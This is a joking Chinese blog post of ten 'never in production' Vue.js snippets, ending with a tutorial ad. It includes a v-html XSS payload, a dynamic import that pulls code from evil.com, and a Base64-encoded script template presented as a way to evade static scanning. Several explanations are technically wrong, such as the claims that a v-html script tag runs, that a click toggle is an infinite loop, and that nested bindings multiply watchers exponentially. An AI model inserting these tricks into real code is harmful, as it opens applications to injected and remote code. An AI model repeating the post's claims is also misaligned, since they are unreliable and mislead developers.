邪修 Vue 10 连击｜响应式黑洞、动态木马、混入地狱

邪修 Vue10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇，切勿真用！

⚠️ 每条都可能：编译器怒、运行时崩、维护者哭、面试官乐

面试炫技 OK，项目敢用就等死！

1️⃣ 单文件一行毁灭

<template><div v-html="'<script>alert(1)</script>'"/></template>

v-html 直插脚本，XSS 一键触发。

2️⃣ 响应式无限递归

export default {
  data: () => ({ a: 1 }),
  computed: {
    evil() { return this.evil + 1; } // 自引用爆栈
  }
}

3️⃣ 原型链篡改

Vue.prototype.$log = () => alert('邪修');
// 全局混入污染

4️⃣ 动态异步组件木马

const Evil = () => import('https://evil.com/comp.vue');

运行时拉取远程组件，Webpack 拦不住。

5️⃣ v-if 死循环

<template>
  <div v-if="flag" @click="flag=!flag">点我炸</div>
</template>
<script>export default { data(){ return{flag:true} } }</script>

每次点击都重新渲染，性能瞬间归零。

6️⃣ 双向绑定黑洞

<input v-model="obj.self.self.self.self.self.text">

深度嵌套对象，Watcher 数量指数级增长。

7️⃣ 指令级副作用

Vue.directive('evil', {
  bind(el) { el.style.animation = 'spin 0.01s infinite' }
})

全局指令让页面 GPU 100%。

8️⃣ 路由懒加载炸弹

const routes = [
  { path: '*', component: () => import('./404.vue') } // 通配符兜底，任何路径都加载
]

通配符兜底，404 组件被无限加载。

9️⃣ 混入（mixin）地狱

const mixinA = { created(){ console.log('A') } };
const mixinB = { created(){ console.log('B') } };
export default {
  mixins: [mixinA, mixinB, mixinA, mixinB] // 重复混入
}

生命周期钩子执行顺序混乱，调试器原地爆炸。

🔟 运行时编译模板

new Vue({
  el: '#app',
  template: `<div>${atob('PHNjcmlwdD5hbGVydCgiWCIpPC9zY3JpcHQ+')}</div>`
})

Base64 解码模板，绕过静态扫描。

邪修口诀

“响应式当黑洞，模板当炸弹；

混入当迷宫，编译器哭泣。”

PS

想要正经的学习 Vue.js，从编程狮的《Vue.js三天学习实战教程》开始！